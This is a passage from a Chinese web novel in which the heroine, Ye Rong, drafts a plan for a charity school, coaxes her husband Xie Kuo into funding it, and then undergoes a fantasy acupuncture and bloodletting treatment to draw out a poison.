在蔷薇的沉默尬尴中,感觉有点不对劲的叶绒低头,仔细看了看她倒扣在桌上的论语。
Emmm……
她读书少,没见过正儿八经的论语册子长什么模样,但是——
叶绒就是再没有常识,也知道,论语不应该这么厚的。
因此,排除所有的不可能,只剩下一种结果。
她在外包壳子看小说?
套着论语的皮子,看着让人小脸通黄,热血沸腾的东西?
啊、这……
叶绒一时不知该说什么好。
她以为她们处于不同层次,满脑子废料的只有她,敢情只有她处于底层,蔷薇不仅能向上拔高层面,还可以向下无限兼容?
So,low的只有她?!
叶绒被这一事实打击到了。
好在,她前几天练字的时候,受到的打击已经够多的了,不差这一回。
因此,叶绒很快就调整好了心态。
看着被她一句话搞沉默了,明显有些不好意思的蔷薇,她还能反过来开导下温柔伯母。
“食色性也,人之常情,你不用感到不好意思,这没什么大不了的,我以前也这么干过。”
不止她,初高中的时候,他们年级段学生,外包壳子看小说的,多了去了;甚至于,还有的同学,直接把书给挖空,掏了个洞出来,专门藏手机玩儿。
这很正常,那个青春无敌美少女,上学的时候,没干过坏事啊!
在学习,不务正业很正常,整天闷头读书,钻进书桌里写写画画的那种书呆子,才是极为少见的存在。
蔷薇看着安慰她时,极为正经,就连说话时,神色都很坦然的叶绒,被她这番模样虎了一下。
富贵人家的小姐,没事儿时,也喜欢在外偷偷摸摸看春宫图或者那些个污秽读物?
这是她着实没想到的。
她还以为那些眼睛长在头顶上,没事儿时,不是跟人扯头花,就是算计这算计那儿的闺阁小姐们,对这方面的知识极为避讳,莫说是看了,就连一不小心听到一点儿,都感到极为恶心嫌弃呢!
是她刻板印象了。
蔷薇深刻反思了下自己。
“话说,你在看什么啊?”
这回,看着一脸好奇的叶绒,蔷薇没再避讳遮掩,而是直接告诉了她答案。
“最近没什么好书看了,我在重温金瓶梅,你有没有什么以前看过的印象深刻的好书推荐给我?”
叶绒:“……”
她一时不知该如何接话,问就是她层次还没到这个地步。
而且——
如果她没记错的话,这本……章回体长篇小说,距离问世,还早着呢吧?
让本不该出现在这里的小说,成了这个小说世界的经典著作,作者大大良心不痛吗?
哦、不对,人家作者说不定连良心都没有,不然怎么会设定这个小说世界的背景为小冰河时期,还是乱世,让百姓死伤无数呢?
谁家锦鲤女主谈甜甜的恋爱,需要这种可怕的背景衬托啊摔!
叶绒很崩溃。
她和蔷薇四目相对好半响,最终脸上露出了一抹尴尬而又不失礼貌的笑容,“我和你一样,没什么好书推荐的。”
别问,问就是她一纯洁美少女,对这方面的事情,一点儿都不了解都不了解。
看出她的避讳,蔷薇没有多想,毕竟她们还不怎么熟,她不好意思和她分享那种私密物什,很正常。
因这一尴尬事件,生怕被蔷薇看出不对劲儿的叶绒,只待了一会儿的功夫,和人寒暄了几句,然后就找借口离开了。
现代教学计划搬到古代水土不服,而古代书院详细开办教程,拼夕夕上恐怕没有专研这个并且出书的。
所以,她写计划书的时候,就要斟酌着,考虑下这边的实际情况,方才能写出适合的可行性方案。
这,就不是一般的消耗人精力和时间了。
好在叶绒现在什么都不多,就空闲时间最多,因此,这件事情,她相信自己能够做好。
当然,她下定决心做好事情,谢阔并不知道,甚至于接连好几天没在书房看到她,她也不知道她神神秘秘的把,自个儿一个人待在房间里捣鼓什么。
彼时,并不知道,孩子静悄悄,必定在作妖,这句至理名言的谢阔,甚至还有种松了口气的感觉。
她一个人在房间里待着,胡乱折腾着,为了不让人打扰到她,每每到饭点儿的时候,她都会乖乖把药粥喝了,一点都没像先前一样,嫌这儿嫌那儿,亦或者想趁人不注意,悄悄把药粥倒掉。
和刚开始喝药粥那几天比起来,这简直是好太多了。
不用她吃个饭,他还要想办法哄着人,斗智斗勇一番了。
天知道,不用再连人吃饭这种事情都管了的男人,到底有多么的开心!
但谢阔的好心情并没能持续几天,因为叶绒在持续奋斗,闭关琢磨一段时间后,结合拼夕夕上某些专家写出来的经验之谈,成功的写出了一份完整的计划书。
为了在温柔伯母那里留一个好印象,叶绒计划书写出来之后,并没有火急火燎的就给人送过去,而是先拿到了书房,想让谢某人提前给他掌掌眼,顺便找人寻求一点帮助。
就……
她还是有点自知之明的,倘若蔷薇那边没得到庇护的话,书院十有八九是开不起来的。
一点都不想有人三天两头的来书院门口骂街,亦或者有一波老古板找到蔷薇指着她的鼻子,骂一些有辱斯文的话,把好心开书院的她,给说退缩了,叶绒选择了先提前给谢某人打个预防针。
顺便——
大佬,菜菜,帮帮。
看到她精心准备写出来的计划书,谢阔:“……”
真是谢谢啊!
谢谢她,那么看得起他!
上下嘴皮子一碰,拿着捣鼓了几天捣鼓出来的东西,就想让他和在这片土地上扎根了上千年的世家,碰上一碰!
第一百四十二章 不是她想要的
谢阔先前看到叶绒,拿着她手上的计划书,来到书房找他的时候,其实并没有太放在心上。
毕竟,最近边城也没发生什么能让她兄弟破产的大事,她来也是为了寻求他帮助的,而不是来倒贴钱,当散财童子的。
鉴于叶绒来到书房之后,话说的一本正经的模样,本来对她的到来,无动于衷,甚至于一边听她说话,一边还在批阅公文的男人,想了想……
谢阔斟酌了下,还是放下了手中的朱笔,理了理衣襟,正襟危坐的接过了叶绒,双手捧着递上来的计划书。
好歹是人苦心钻研了好几天,方才写出来的东西,他要是不显得重视一点的话,那以后她再遇到这种类似的事情,万一直接略过他,找其他人帮忙了呢?
让自己妻子,找其他人帮忙什么的,这显得他太没能耐了!
入赘归入赘,吃软饭是吃软饭,但男人的里子不能丢,该有的担当,该扛起来的事情,该办的事宜,和她有关的事情,他还是要亲手过一遍,亲自交代下去做,方才显男儿本色。
谢阔本来当真以为,叶绒找过来是一件小事,结果,打开她写的计划书一看——
“……”
瞳孔地震.jpg
男人好悬,才稳住了脸上震惊的表情,没有当场失态。
谢阔强撑着,逐字逐句的看完了手上的计划书之后,整个人都,“——”
怎么说呢,如果有的选择的话,他宁愿她是出去一趟,善心大发了,想让他跟着一起掏钱,让大家伙儿乐呵乐呵。
这样的话,哪怕他肉疼,失了银钱,让本就不富裕的荷包雪上加霜,那也比现在好啊!
倘若叶绒是他手下的话,这铁定是一个向上管理的人才。
——虽然现在也差不了多少了!
Emmm……
谢阔此时有些恨自己聪明的脑袋瓜子了。
如果他不是一个远见的人的话,倘若他稍微短视一点,他完全可以把叶绒递到手上的计划书,视而不见的;再不济,他不往远的考虑,就跟计划书上面写的一样,给蔷薇当个靠山,把她的书院当特例庇护一下,也是一个法子。
然并卵——
他不是蠢蛋,当了那么多年的上位者,他的眼光在那里摆着。
只粗略扫一眼叶绒的计划书,谢阔就知道了,这是一个挖世家根基,能把权力很好的掌控在掌权者的好机会。
世家为什么会被称为世家?
还不是因为他们垄断了知识。
倘若真按计划书上写的这样做的话,让书籍成为百姓之间流通的硬通货,让每个孩子都能得到读书识字的机会,甚至于给那些天资聪颖,或有其他天赋的孩子们,搭一把通天地,让他们不至于因为贫困而辍学,只要能跟得上,有那个能耐接着学,就一直往上学习的话,那……
只稍微这么一想,谢阔就感觉头皮发麻。
贫苦出身,被他一路扶持着,受他恩惠走上来的孩子,日后进了官场,便是他手底下最锋利的刀,最不可能背叛他的存在!
这样的人多了,哪怕他不能坐上那至高无上的宝座,那也是九州的无冕之王。
这世间,还有比这更快哉的事情吗?
没有!
甚至于,到时候,就连九州其他世家,也不是他的对手。
哦,不对——
不能这么说!
倘若真按叶绒计划书上写的这样发展下去的话,知识向下流动,学习的人多了,再按计划书上写的这边,来个统一考试,择优录取的话,时间久了,世家的覆灭与存在,就全在他的一念之间。
“!!!”
只靠脑补,就感觉头皮发麻的男人,看着手中的计划书,那是怎么都移不开目光了。
谢阔甚是艰难的平复好心中沸腾的热血之后,他看向一脸单纯,眨着清澈的大眼睛,等待他回复的少女。
“……”
从未有哪一刻,像现在这般,想撬开她的脑子,看看她的脑回路,为何会这般与众不同的男人,沉吟好半响,待心中激荡过去,他方才语气平稳开口。
“这就是你闭关创作几天,写出来的东西?”
“嗯嗯嗯。”叶绒连连点头。
她看着男人眨了下杏眸,“你觉得,还有没有哪里需要修改的地方?”
谢阔:“……”
倒也不必如此看得起他。
虽然但是——
男人的自尊心在那里强撑着,谢阔没说什么自己不行或不能的话。
他看着叶绒,斟酌了一下,方才组织好措辞,“你这计划书写的有些粗略,很多详细的地方都没有提起,我需要好好找人商讨一下,方才能给你一个确切的答复。”
叶绒听到这话,倒是没有多想,毕竟有些个东西,在拼夕夕上实在找不到,她便直接缩写省略了,就为了等实际情况,实际实施的时候,再随机应变一下。
既然现在谢阔点出了这一点,又说出了这种话,那她就等呗!
反正这个冬季很漫长,她身上的毒还没解呢,所以她时间多的是。
看她点完头之后,一副这件事情就这么完了,然后想离开的模样,谢阔连忙阻止了叶绒的离去。
“我能问一下,你是怎么想的,才写出来的这些东西吗?”
男人说着,晃了晃手中被他捏得死紧的计划书。
这上面写的酌情进行一段时间的义务教育,筛选一些有天赋的人助贷继续学习,待学生毕业工作之后,定期还款,让未来的自己养现在的自己,可谓是大大的减轻了官方的压力,让这个计划变得有了具体实施的可行性!
叶绒听到这话没有多想,她直接就把前几天去隔壁找蔷薇的时候,遇到的事情说了出来。
刚开始,她写这份计划书的时候,本来是照着蔷薇和慈幼局的具体情况来写的,但前面开头的写了好几遍,改了又改,都感觉有点不满意。
书院确实是传授知识的地方没错,但它如果不能做到金钱上的自给自足,全靠从创办者身上吸血才能维持下去的话,那压根不可能长久。
这不是她想要的!
第一百四十三章 拍马屁
叶绒想到自己抓耳挠腮,耗尽心血,几经修改,写出来的计划书,脸上表情很是感慨。
天知道,她有多不容易!
虽然但是——
现在不是她邀功的时候,因为她这回找上门,主要是来求人帮忙的。
这么想着,心念转动间,叶绒把已经在心里提前打好草稿,甚至于在来之前都已经默念了一遍的想说的话,又修饰了一番,然后张口就来。
“瞧您这话说的,小谢大人——,我这智商是什么样儿的,你是一清二楚的。您觉得,那计划书上的东西,是我平平无奇,就能想出来的吗?”
尽管是在拍马屁,但叶绒这话说的,一点都不心虚!
毕竟,她这波纯属是站在巨人的肩膀上,摘抄的拼夕夕上,那些传授经验的书的精华,然后再搭配上从其它书籍上找出来的精华,一拼二凑的,结合这边实际情况,方才整理出来的计划书。
这波,出力的完全不是他。
当然,叶绒想虽然是这么想的,但她知道,话是不能这么直接了当的袒露出来的。
这边想着,叶绒看男人诧异挑眉看她,一副准备洗耳恭听的模样,她脸上顿时露出了一抹谄媚的笑容。
“我能写出来这些东西,那全都是托小谢大人您的福啊,全靠您保佑!”
谢阔:“……”
这话听着有些耳熟,像他爹逢年过节,祭祀祖先的时候,说出来的话。
叶绒并不知道男人内心的想法,但看他脸上的表情,她知道,他没有信。
俗话说的好——
要想用谎话骗过别人,必须得先忽悠得住自己。
叶绒觉得这话很有道理。
于是,她在心里默默给自己催眠了一番之后,眨着杏眸,脸上表情更加诚恳道:“真的,这话乃是肺腑之言,不掺一点儿假。”
“小谢大人,我托您的福分,过得那么好,衣食无忧,平安喜乐的,实乃三生有幸啊!”
谢阔:“……”
想到她过往奢侈的不知愁是何等滋味的生活,再想到她来到他身边之后,奔波劳累,时不时遭遇刺杀,现在还中了毒的模样,男人觉得,她这话,得反着听。
夸奖的话,全都反过来听的,那种听法。
“这人一过得好了,就容易想东想西的,恰逢前几天我去隔壁,从蔷薇口中知道了慈幼局的事情之后,一想到那里的孩子们,吃不好喝不好睡不好,精神上还没个寄托,我的心里就很难受,琢磨着想帮他们一下,然后想着想着,就想出来了这么一份计划书。这全都靠您庇佑啊!”
谢阔忽略叶绒的尬吹。
他把她这段话里,一听就假的内容略过,然后又删掉一些夸张词汇之后,总算琢磨出来了,她话里的意思,以及她到底想要表达什么。
然后——
Emmm……
生平头一次,分明被人真心实意的拍着马屁夸奖,但谢阔却有一种,比被人指着鼻子骂,都难受的感觉。
虽然但是——
他知道,她说的一点都没有错。
让那么多孩子,无家可归,食不果腹、衣不保暖,是他们这些当官的无能。
并不知道男人,把她的话全都反着听了的叶绒,自觉拍完马屁之后,开始说正事了。
“小谢大人,您人那么好,处事公允,从不循私舞弊,还那么乐于助人,宽以待人严于律己,当真是我辈楷模。”
谢阔听到叶绒对自己的形容,虎躯一震。
他知道,她不知因何缘故,对他有些滤镜,但却万万没想到,她对他的滤镜,竟然这么的深厚。
虽然但是——
她这说的,当真是他吗?
谢阔脸上不知不觉带出了点狐疑。
不等他开口质疑,夸完了人,说尽了好话,自觉氛围已经被烘托到位的叶绒,直接图穷匕见。
“倘若宽厚的小谢大人,愿意对即将开办的学院里的学生们,发一点点慈悲心肠,伸出援助之手的话;那将来,那些孩子们,肯定非常的感恩您,把您当做再生父母,天天给您烧高香。”
谢阔:“……”
谢谢.jpg
他还没死,不需要有人烧香祭拜。
叶绒看着接二连三,被她的话噎得心梗,很是无语的男人,她丝毫没察觉出来不对劲,只眼巴巴的看着他,想要他赶紧接过,她给他的高帽,戴上。
“你想让我做什么?”
看出她真正目的的男人,强压下内心的沧桑,语气无奈问道。
他还是喜欢,她有话直说,有事直接开口让他办的样子。
这样,速战速决下来,受损的只有他的荷包,他不用承受完会心一击之后又承受会心一击……
完了,不知要承受会心几击之后,再把荷包掏扁痛心。
虽然结果都一样,但其过程的心梗程度,却完全无法比拟。
谢阔相信,别说是他了,就算是换其他任何一个人来,都会非常识趣的,想让她选择第二种说话方式的。
这样,你好我好大家好!
她不用费心想着吹捧人的话术,讨他欢心;他也不用被她biu的一箭又一箭射的心口疼。
叶绒听到男人的询问,有些不好意思的搓了搓手。
“倒也不是什么大事,就是吧,小谢大人……”
叶绒本来想吊一下人胃口的,没想到男人听她这般拉长音调说话的模样,脸上表情那叫一个扭曲。
“你再怪模怪样的,我鸡皮疙瘩都要起来了,有话好好说!”
认识那么久以来,她除了刚开始自以为伪装到位的时候,称呼过他几声大人以外,其他时候何成这么喊过他?
没得让人头皮发麻!
叶绒并不知道男人内心的感触,但有求于人的她,却很是听话。
他让她说,那她就——
“我真说了啊?”
叶绒重新确认了下。
“说。”
得到肯定答复,叶绒脸上露出一抹正经笑容。
“按我计划书写的那样,蔷薇姐姐想开书院,建书院的钱,和购买里面教学用具的花费,你来出,怎么样?”
听到她话,谢阔:“……”
无语.jpg
无语,是他今天的母语。
第一百四十四章 玩物
“你刚刚说了那么一大堆废话,就是为了这件事情?”
谢阔松了口气的同时,一言难尽的看向叶绒。
他还以为有多大点事呢,结果竟然就这般?
这么点小事,值得她这么伏低做小吗?
看男人这般不甚在意的模样,叶绒立马反应过来,自己替蔷薇要少了。
草率了.jpg
她对谢某人,荷包的丰厚程度,预估错误!
不过——
不慌!
洒家自有应对之策。
不等男人那颗心落回原位,叶绒下一句话就紧随而来。
“我说的是接下来,以蔷薇姐姐的名义,开办的所有书院,这些书院的置办费用,都由你来出!”
叶绒之所以有这个想法,主要还是因为,她想给蔷薇省点儿钱,不想让她出人出力之后,还要出钱。
资本家对牛马,都不带这么压榨的!
哪怕是纯粹出于兴趣爱好,她也不建议蔷薇投入那么多精力时间和金钱。
不然,回头的话,沉默成本太高了,万一学院出了什么事情,她情绪容易从一个极端,走向另一个极端。
这年头,心理医生鼻祖还没出生呢,在没有心理医生存在的情况下,她也不知道怎么有效开导人,万一蔷薇因此,一个想不开,那她罪过可就大了去了!
并不知道叶绒内心想法的谢阔,听完她说的话之后,“……”
这下,他有些笑不出来了。
看完叶绒的计划书之后,谢阔内心隐隐已经有了一个模糊的想法,想让蔷薇开的书院,一生二二生三三生万万,开遍整个九州,如果这其中的所有花销都由他来出的话,那……
只稍微这么一想,谢阔就感觉自己有些牙疼。
但他拧眉沉思片刻之后,最终还是同意了叶绒这一请求。
遇上她,他的荷包,注定逃不过这一劫,那又还有什么挣扎的必要呢?
索性直接放弃躺平,重新赚钱得了。
当然,这只是其中原因之一,最重要的原因则是,他既想要名声,也想要权利。
以往,没有那个既要又要的条件,这种事情不提也就罢了;但现在,因为叶绒,他腰杆子直了,底气也足了,那当然得既要又要了。
想通这一点之后的谢阔,很是上道,甚至于,不等叶绒接着开口询问,他就直接提了建议
“偌大一个书院,只她一个教学夫子,恐怕忙不过来,回头我多找几个人过去,和蔷薇一起教习孩子们,怎么样?”
“真的???”
男人这话,是叶绒万万没有想到的。
看他点头,得到肯定的答复,叶绒高兴的,嘴都要合不拢了。
嘤嘤嘤.jpg
这年头,这么人傻钱多,还喜欢主动帮人分担工作的boss,那可当真是极为少见的存在了啊!
在心里给谢某人竖大拇指的叶绒,彼时并不知道,相较于她前面提出的条件而言,对谢某人来说,反而是后者,相对来说是更容易搞定的事情。
毕竟,这里地处边界,是豫州和翼州土壤交界处,同样也是两州之人,因利益冲突,口角频发,甚至于两军交战的地方。
而有战乱的地方,除了有贫苦和死亡以外,也有数不清的财富和美酒美人。
只不过,后者大多数都掌握在少数人的手中,那些个美人,也往往会被上位者,当作拉拢手下人心的一种资源,赏赐下去。
对于被当做玩物一样,随手赠来送去的,那些被当做美姬,专门培养,以作此用途的美人们,向来很容易接受;但这对于那些家破人亡,因战败而被迫沦落到此地步的贵女们而言,不吝于是一场噩梦。
谢阔相信,相较于被频繁转手,以色侍人,那些饱读诗书的贵女们,在经过一番现实的挫折之后,比起被困在男人后宅任人赏玩,肯定更乐意出来一展所学,在书院当让人尊敬的夫子,教书育人。
当然,对于这一点,至今为止,仍不清楚古代战争,到底意味着什么的叶绒,在谢某人有意无意的隐瞒之下,她是完全想不明白的。
看叶绒乐呵呵的模样,生怕她接着问下去,他从哪儿,变出一堆夫子给书院用的谢阔,不等叶绒回过神来,连忙就转移了话题。
“我等会儿让人去军营,请一些人过来,一起看一下你写的这份计划书,据此讨论出来一份能直接实施的方案,你要留下来跟着一起探讨吗?”
叶绒听到这话,脸上的笑容立马僵住了。
“呃……”
正所谓是骡子是马,拉出来遛遛就知道了。
全托拼夕夕上出书人的福,写出来计划书的叶绒,知道自己到底有几斤几两。
她心思电转间,完全没有和其他人深入讨论的想法,只想着赶紧跑路。
好在,感受着腹部的空荡荡,叶绒突然想起来,她还真就有一个现成的借口。
这么想着,叶绒道:“探讨就不用了,我相信你能给出一个,让我满意的答复的。”
话落,不等男人接着开口,叶绒就猛的一拍脑袋,做出了一副,突然想起来某件重要大事的模样。
“那什么……我今天早上的药粥还没有喝,要赶紧回去喝,你接着忙吧,我就不打扰你了。”
叶绒说完这话,就连忙火急火燎的转身走了。
看她走的比往常跑的都快的模样,谢阔:“……”
他就是鬼,也没有追上去啊,何必这般着急忙慌的?!
眼睁睁看着叶绒离开的谢阔,看离开的小姑娘,一副对接下来的事情,避之不及的模样,他捏着手上的计划书想了想,趁着让小厮去军营那边喊人过来的功夫,在营地里那些人,还没有到之前,谢阔直接提笔蘸墨,用桌案上的纸张,把叶绒带来的计划书,重新撰写了一遍……
当然了,谢某人边写边给自己找理由。
他重新撰写计划书,只是想写写画画一番,更深入理解一下它,顺便成全下它的主人,不想对外人展露字迹的想法罢了。
——才不是因为越看,越觉得她的字太丑了,看的眼睛疼呢!
第一百四十五章 治疗
叶绒并不知道她离开之后,谢阔到底在书房里做了什么,她也没有兴趣参与那些谋划。
她只知道,本以为很快就能拿回来的修改版的计划书,谢阔足足推迟了一个礼拜左右的时间,方才重新返还给她。
而彼时,距离腊八,只剩下了短短三天的功夫。
虽然天天都有在老老实实的喝药粥,但并没有感受到药粥具体效用的叶绒对此,隐隐觉得,她被程大夫和谢某人联起手来,给糊弄了。
虽然是骡子是马,到时间就知道了。
撑死只有三天的功夫,三天之后,她就能知道,她身上的红颜,毒发的时间,是否被延长了,但是——
到时候再发现的话,万一被封在她心脉处的毒素,当真发作了的话,那就晚了!
本来,对自己下死手,就是一件很困难的,需要做足了心理准备的事情,她要是毒发的时候,再动手嘎了自己的话,且不说自己到时候还有没有那个力气,单就一点——
她除了要忍受被噶时的疼以外,岂不是还要白白遭受毒发时的痛?
这什么人间疾苦啊摔!
老实说,叶绒并不能接受这一点。
身体内的空虚,和全身无处不在的疼痛,两相合并,折磨人的滋味,那是谁尝试谁知道。
她打死都不想再来一次了!
这般琢磨着,叶绒总觉得,在这三天时间内,她要想办法,找程大夫确认一下他话里真假——
倒不是她不相信他的能耐,主要是吧,事关自己接下来几天,是否能安心过活,以及她腊八之后,还能不能活蹦乱跳的问题,她觉得她得慎重一下!
叶绒本来是打算,拿到谢某人和其他人一并商讨后,修改好的计划书之后,再开始一番询问试探的。
这样,哪怕她事后,一不小心翻脸了,那也不耽误蔷薇那边的事情,她不至于失信于温柔美人。
不过,程医远并没有给她这个机会。
连同谢某人送来的计划书,一起来的是,背着一实木医药箱,手上还拎着银针包的程医远。
看他们两人一同到来,叶绒愣了下,她第一反应是——
“今天中午的药粥,我有老老实实喝啊!”
为了得到一份修改好的,能完美适用实施的计划书,她这一周,每天吃饭都老老实实的,一点都没有给人告状,告到谢某人那里的机会!
看叶绒一脸委屈的,把心里想法,全都写在了脸上的模样,谢阔:“……”
虽然因为自己越和她相处,越像她爹娘那么操心,整的自己就跟她监护人一样,而感到淡淡的忧伤,但自己的人还是得自己护着,再加上她这段时间确实很乖很听话,一点儿都没有让他操心的缘故,谢阔率先看向程医远。
“你来做什么?”
程医远连忙解释道:“小姐体内的毒,我稍微有了点对策,今日想来尝试一下,看看能不能处理掉。”
总共就半个月的时间,在这么短的时间内,莫说是他了,就是他祖师爷在世,也解不了这般阴狠的毒,因此他只能另辟蹊径,想办法把毒从她身体里引出来了。
此番,经过小半月的调养,她的身体,已经能撑得住他施针了,故而程医远午膳过后,准备好东西之后,立马就过来了。
没办法,就她这副腊八之前,要是毒发,就嘎了自己的架势,太吓人了!
他属实是不敢拖延呐!
生怕自己稍微一拖,她命就没了!
知道程医远来意之后,叶绒松了口气。
妥了!
她还能看到明年的冬雪!
“程叔,你说吧,需要我做什么?我一定好好配合,听从医嘱。”
医生说啥咱做啥,绝不和大夫对着干,她一定不会作死,干不该干的事情!
程医远听到这话,看了一眼自家少主及他手上的东西,方才道:“我等下施针放血之后,小姐身体应当会虚弱上一段时间,需要好好躺在床上静养,不宜操劳。”
他这话说得很是委婉,但谢阔听懂了。
不就是让他没事儿少打扰她嘛!
他懂!
男人旋即看向叶绒,“这计划书,我等会儿让叶守武回家的时候,顺带给蔷薇捎过去?”
听到男人这番建议,叶绒没有多想,直接就点头同意了。
彼时的她并不知道,蔷薇收到自家男人带回来的计划书之后,猝不及防展开一看,看着纸上那铁笔银勾的字时,心情有多么的复杂!
就——
瞬间压力山大!
本只想小打小闹,开个书院,过过当教书先生的瘾的蔷薇,看着男人铁笔银勾写下的字,那真是琢磨再三,想了又想,方才硬着头皮上的!
但凡她男人没在谢阔手下过活的话,她真想当个瞎子,假装自己什么都没有看到啊摔!
当然,蔷薇内心的想法,叶绒并不知道,也没有了知道的机会。
但彼时的她,内心感受,却和日后的蔷薇差不多。
看着程医远摊成一排,放在她床头的银针,叶绒当真是硬着头皮躺回了床上的。
“程叔,你等会儿下针的时候,记得下手轻点儿……”
人在床上躺着,其他地方遮得严严实实,就漏出了一光裸后背的叶绒,简直是躺都躺的不安心。
就——
大夫还没下针呢,她就感觉自己后背开始发疼了。
这麽多针,全扎她后背和脑袋上,她当真不会被扎成刺猬吗?
听着叶绒有些发虚的颤音,因为等会儿要配合银针,往她体内输入内力,以至于被大夫留下来帮忙,没有离开的谢阔,嘴上轻缓的安抚了她两句的同时,不着痕迹的看了准备施针的大夫一眼——
谢阔无声询问:我把人弄晕,你下针的话,有妨碍不?
程医远:“……”
他摇头阻止了黑心肝少主的打算,看向叶绒叮嘱道:“小姐,等会儿我下针的时候,你千万不要乱动,如果你等下感觉哪里疼的受不了的话,记得随时出声告诉我。”
银针刺穴、内力放毒,这一法子,他从未在其他人身上试过,哪怕过往行医的经验告诉他,这事儿有不小的可行性,但——
放在床上娇人儿身上,要慎之又慎的,程医远生怕出意外!
第一百四十六章 放血排毒
鉴于此,程医远非常清楚的知道,等会儿病患的感受,万分重要。
这般情况下,叶绒是断不能昏睡过去的!
并不知道自己差点被人打晕,并且有可能一睡不醒的叶绒,听到大夫声音严肃的叮嘱之后,她表情郑重的点了下头。
“好的!”
决定了,她等会儿,就是感觉再怎么不舒服,也不会乱动!
有句话怎么说来着,理想是丰满的,现实是骨感的。
银针刺入相应穴位,带来的刹那的疼痛,叶绒靠着理智强压下了,但——
伴随着银针入学,越来越多的刺痛、跳痛,从背部蔓延至五脏六腑之后,叶绒的本能,战胜了理智。
“——”
谢阔眼疾手快的,在叶绒嚎叫痛呼着,想从床上蹦达起来的时候,单手压着她的脑袋,把人四肢禁锢住,制止了她的动作。
看着被牢牢压制着的,跟乌龟一样翻不了身的叶绒,在她咬牙切齿,悲愤目光的注视下,谢阔想了想,空出来一只胳膊,递到了她的嘴边。
“你要是感觉疼的话,就咬吧。”
给人留个出气口,这样回头她好起来之后,他还能亮亮身上的伤口,躲过一波秋后算账。
叶绒闻言,一点都不客气的,直接就张嘴咬了下去。
“!!!”
谢阔表情猝不及防,扭曲了一瞬。
只能说,她的牙齿还是蛮坚强的,小时候可着劲儿的吃糖造作,都没损耗一点牙齿的咬合力!
感受着口中肌肉骤然紧绷的状态,身坚志残,除了眼睛以外,只有嘴巴能动的叶绒,咬着男人的虎口,声音含糊道:“你现在感受到的疼痛,连我的一半都不如。”
听到这话,谢阔没忍住挑了下眉,“这么疼?”
有些怀疑,她是采用了夸张说法的男人,没忍住看向了正在聚精会神扎针的程医远。
程医远没在意两人之间的言语交锋,他只在自己带来的银针,全部进入叶绒身体内之后,在片刻空闲的等待功夫中,擦了擦自己额头上的汗珠,方才解答了谢某人的疑惑。
“把红颜从体内逼出来的法子,属于一力降十会,虽然能解毒,但对身体而言,却有些粗糙了点,不如对症下药来的温和,因此是有些疼。”
床上躺着的是个娇娇人儿,从小到大都没在家里吃过苦头的那种,因此自然觉得这般疼痛,有些难以接受。
谢阔听到程医远的话,显然有些误解了。
——如果解毒过程,当真这般让人难以接受的话,那……
想到叶绒对他的滤镜,有些偶像包袱的男人沉吟片刻,做下决定,对程医远道:“刚好我这几天,时间比较充裕,你今日给她解了红颜之后,过两天抽个空,把我体内的碧落毒,也逼出来罢。”
这两天,元气大伤的叶绒在床上躺着,需要好好休养一番,自然无法观看他解毒的过程。
这样一来,他的狼狈,她便不会看到了!
谢阔想得很好,一番谋算,可谓是用尽了心机,然并卵——
程医远听到他的话,脸上表情有些尴尬。
“此番放血逼毒的法子,是我专门为了给小姐解红颜想出来的,无法在碧落上使用。”
谢阔:“……”
“噗——”
好不容易缓过一阵儿,从背部弥漫至五脏六腑的疼痛之后,猝不及防听到程医远这番有些心虚的话,叶绒一个没忍住,笑了出来。
男人目光幽幽向身下压着的少女看去,声音凉凉道:“你动作幅度再大点,回头把背上的银针笑掉了,那你就得和我一样,身体里的毒没得解了!”
叶绒:“……”
懂了,她在心里笑!
程医远听出男人语气里的幽怨,觉得自个儿也蛮委屈的。
“似红颜和碧落这般难解的毒,它们是奔着要人命去的,解法本就难以琢磨,我即便是有天大的能耐,也不可能在短短小半个月的时间内,医术突飞猛进,把这两种毒,都给你们解了!”
事实上,如果不是叶绒在军营时,那寻死觅活的刺激到了他,她也不可能在这如山岳般的压力之下,挑灯夜读,翻遍家中藏书,用勤奋加努力与对各位同僚的压榨,堪堪在腊八之前,想到这般法子,一力降十会,把她体内的红颜逼出来。
事实上,和一众同僚们,商讨出来解红颜的法子之后,在确定此法确实有可行性之后,程医远的气,那是松了不止一点半点儿!
他很庆幸。
得亏床上躺着的这位娇小姐,中的是红颜而不是碧落,红颜值毒,毒归毒,但归根究底,是从情毒上进一步被人钻研出来的,不似碧落,本就是奔着要人命研制出来的,没有留下让人转圜的余地。
倘若彼时叶绒中的是碧落的话,那他在腊八之前,唯一能做的,便是对自家少主建议,在她下次毒发的时候,把人给看牢了,防止她受不住自杀。
谢阔听到程医远的话,皮笑肉不笑地扯了扯唇角,对他宽慰道:“放心吧,程叔,我明白你的意思的。我知道,我在你心里没有其他人重要,我不会怪罪你的!”
他一点都没有因为自己排在了叶绒后面,而感到拈酸吃醋!
叶绒:“……”
如果谢某人说话的语气,没有这么酸的话,她说不定,还真能信了他这番胡扯的鬼话。
嘻嘻嘻.jpg
就冲着男人这般态度,叶绒瞬间觉得,解毒的过程,没有那么难捱了。
“——”
程医远假装没看出自家少主的口不对心,擦着额头上的汗,一脸正色的保证道:“少主放心,倘若此番逼出红颜顺利的话,待小姐体内的红颜都没了,我把全副心力都放在碧落上,一定会尽快研制出解药的。”
话落,理不直气也不壮的程医远,掐着时间,强忍着心虚,给叶绒把了下脉……
程医远算好时机,对谢阔下达了指令。
“少主,你可以往小姐体内输入内力了。”
重头戏要来了!
此番,红颜能不能尽数从叶绒体内排出,就全看这一遭了!
第一百四十七章 解毒解傻了?
手腕被人用利刃划开,连心的十指全部被割破,鲜血直流……
如果有人问叶绒,感受着体内的血液,不停歇的往外涌,所带来的冷冻麻木的感觉,对此真切的体会起来,是一种什么感想的话?
那叶绒只想说一个字,那就是——
爽!
初始,红的艳丽的血液,从体内流出来的时候,因为身体的本能,人会感觉有些恐慌,但只要一想到,她体内让人麻爪的红颜,正随着血液而不停被排出体内的话,那身为当事人,叶绒就只感觉到痛快了。
她恨不得身体里的血,往外涌出来的速度更快,涌出来的量更多一点,这样她就更安全了!
至于这失去的过量的血液?
大不了回头,红颜解了之后,吃点好的,好好补补呗!
叶绒刚开始确实是这么想的,因此哪怕身体有些冰冷麻木,她也没有一点紧张的感受。
但当体内血液随着谢阔内力的不停输入,在她体内循环往复时,血液一直不停往外流,叶绒逐渐感受到了一股心悸……
血液汩汩而出,心脏扑通扑通跳个不停,哪怕明知这只是人体正常的反应,但叶绒仍旧被身体本能传来的害怕感染了。
“噗通噗通——”
心脏为了恢复身体,血液的正常循环流通,泵出来的血越来越多,跳动的也越来越快。
